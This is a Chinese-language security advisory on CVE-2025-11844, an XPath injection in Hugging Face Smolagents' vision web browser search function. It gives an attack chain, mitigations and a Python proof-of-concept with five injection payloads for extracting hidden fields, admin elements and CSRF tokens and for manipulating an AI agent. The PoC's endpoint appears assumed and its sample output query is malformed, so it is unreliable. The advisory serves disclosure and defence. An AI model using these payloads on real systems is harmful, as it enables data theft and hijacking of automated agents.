IPBUF安全漏洞报告
English
CVE-2025-11844 CVSS 5.4 中危

CVE-2025-11844:Hugging Face Smolagents XPath注入漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-11844
漏洞类型
XPath注入
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Smolagents

相关标签

XPath注入注入漏洞Hugging FaceSmolagentsAI框架Web自动化中危漏洞CVE-2025-11844智能体安全DOM操作

漏洞概述

Hugging Face Smolagents是一款由Hugging Face开发的轻量级AI智能体框架,旨在帮助开发者快速构建和部署基于大型语言模型的智能代理应用。该框架支持多种工具调用能力,包括Web浏览、代码执行和文档处理等功能,广泛应用于自动化任务和AI工作流编排场景。

CVE-2025-11844是Smolagents 1.20.0版本中存在的一个XPath注入漏洞。该漏洞位于框架的视觉Web浏览器模块(vision_web_browser.py)中的search_item_ctrl_f函数中。该函数负责在Web自动化过程中通过Ctrl+F快捷键功能搜索页面上的特定元素,其实现方式是通过构造XPath表达式来定位DOM元素。然而,开发者在实现该功能时未对用户输入进行充分的过滤或转义处理,而是直接将用户提供的搜索关键词拼接到XPath查询字符串中,从而导致了XPath注入漏洞的产生。

该漏洞的CVSS评分为5.4,属于中危级别。攻击者可以通过精心构造的恶意输入,注入额外的XPath语法,从而改变原始查询的逻辑。这使得攻击者能够绕过搜索过滤机制、访问非预期的DOM元素,并干扰Web自动化工作流的正常运行。该漏洞可能导致信息泄露、AI智能体交互被操控以及自动化Web任务的可靠性受到破坏。该问题已在1.22.0版本中修复。

技术细节

该漏洞的根本原因在于search_item_ctrl_f函数中对XPath查询的构造方式存在缺陷。具体而言,该函数在src/smolagents/vision_web_browser.py文件中,将用户通过Web界面输入的搜索关键词直接拼接到XPath表达式中,而没有使用适当的XPath转义函数(如lxml库中的make_safe_string或自定义的转义函数)对特殊字符进行处理。

XPath注入的原理与SQL注入类似:XPath是一种用于在XML/HTML文档中导航和查询节点的语言,其语法中包含方括号[]、单引号'、双引号"、竖线|、斜杠/等具有特殊语义的字符。当这些特殊字符未被正确转义时,攻击者可以通过注入额外的XPath表达式来改变原始查询的语义。

例如,假设原始查询意图为搜索包含特定文本的元素://*[contains(text(), 'user_input')],攻击者可以输入 '] | //*[@id='admin'] | //*[contains(text(), ' 来构造恶意查询,使查询结果包含管理员面板等敏感元素。

利用方式:
1. 攻击者通过控制Smolagents智能体的Web浏览交互,诱导其访问恶意构造的网页或通过社会工程学手段让用户输入恶意搜索关键词。
2. 恶意输入被传递给search_item_ctrl_f函数,拼接到XPath查询中。
3. 注入的XPath语法改变查询逻辑,导致智能体访问非预期的DOM元素。
4. 攻击者可以读取敏感信息(如隐藏的表单字段、管理凭据),或操控智能体的后续行为。

攻击链分析

STEP 1
步骤1:信息收集与目标确认
攻击者识别目标系统正在运行Hugging Face Smolagents 1.20.0或更早版本,且该实例暴露了Web自动化功能接口(vision_web_browser模块)。
STEP 2
步骤2:构造恶意输入
攻击者精心构造包含XPath特殊字符(如单引号、方括号、竖线等)的恶意搜索关键词,这些输入将被传递给search_item_ctrl_f函数。
STEP 3
步骤3:注入XPath表达式
恶意输入被直接拼接到XPath查询中,改变了原始查询的逻辑。注入的XPath语法可以执行联合查询、条件判断等操作。
STEP 4
步骤4:绕过搜索过滤
通过注入的XPath,攻击者绕过原有的搜索过滤机制,访问到原本不应该被搜索到的DOM元素,如隐藏的管理面板、表单字段等。
STEP 5
步骤5:信息泄露与操控
攻击者获取敏感信息(如CSRF令牌、用户凭据、隐藏数据),并可能操控AI智能体的后续行为,使其执行非预期的自动化任务。
STEP 6
步骤6:破坏自动化工作流
通过干扰XPath查询结果,攻击者可以破坏Smolagents的Web自动化工作流,导致智能体执行错误的操作或泄露处理过程中的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11844 - XPath Injection PoC for Hugging Face Smolagents # Vulnerable function: search_item_ctrl_f in src/smolagents/vision_web_browser.py # The function constructs XPath by directly concatenating user input without sanitization import requests import json # Target Smolagents API endpoint (vision web browser search functionality) TARGET_URL = "http://target-smolagents-instance:7860/api/search" # Malicious XPath injection payloads payloads = [ # Payload 1: Bypass search filter to access hidden elements { "query": "test'] | //*[@class='secret-data'] | //*[contains(text(),'test", "description": "Bypass search filter to access elements with class 'secret-data'" }, # Payload 2: Extract all input values from the page { "query": "anything'] | //input/@value | //*[contains(text(),'anything", "description": "Extract all input field values via XPath injection" }, # Payload 3: Access admin panel elements { "query": "search'] | //*[@id='admin-panel']//* | //*[contains(text(),'search", "description": "Access admin panel DOM elements" }, # Payload 4: Boolean-based blind XPath injection { "query": "test' and substring(name(/*),1,1)='h' and '1'='1", "description": "Blind XPath injection to enumerate document structure" }, # Payload 5: Union-based XPath injection to extract sensitive data { "query": "x'] | //meta[@name='csrf-token']/@content | //*[contains(text(),'x", "description": "Extract CSRF tokens and other meta tag content" } ] def exploit_xpath_injection(url, payload): """ Send malicious XPath injection payload to the vulnerable search_item_ctrl_f function in Smolagents vision web browser. """ headers = { "Content-Type": "application/json", "User-Agent": "Smolagents-Client/1.20.0" } data = { "action": "search_item_ctrl_f", "query": payload["query"], "page_url": "http://target-website.com/page" } try: response = requests.post(url, headers=headers, json=data, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Payload: {payload['description']}") print(f"[+] Query: {payload['query']}") print(f"[+] Response: {json.dumps(result, indent=2)}") return result else: print(f"[-] Request failed with status code: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Example of the vulnerable XPath construction: # Original (vulnerable) code pattern: # xpath_query = f"//*[contains(text(), '{user_input}')]" # # With injected payload: test'] | //*[@class='secret-data'] | //*[contains(text(),'test # Resulting XPath: //*[contains(text(), 'test'] | //*[@class='secret-data'] | //*[contains(text(),'test')] # This bypasses the intended search and returns elements with class 'secret-data' if __name__ == "__main__": print("=" * 60) print("CVE-2025-11844 - XPath Injection PoC") print("Target: Hugging Face Smolagents < 1.22.0") print("=" * 60) for payload in payloads: exploit_xpath_injection(TARGET_URL, payload) print("-" * 60)

影响范围

Hugging Face Smolagents < 1.22.0
Hugging Face Smolagents 1.20.0

防御指南

临时缓解措施
在无法立即升级到1.22.0版本的情况下,建议采取以下临时缓解措施:1)在search_item_ctrl_f函数中添加输入验证逻辑,对用户输入中的XPath特殊字符(如单引号、双引号、方括号、竖线等)进行过滤或转义;2)使用lxml等库提供的XPath安全转义函数对输入进行处理;3)限制搜索功能仅在可信环境中使用,避免暴露给不可信用户;4)监控异常的XPath查询请求,及时发现潜在的攻击行为;5)考虑暂时禁用Ctrl+F搜索功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表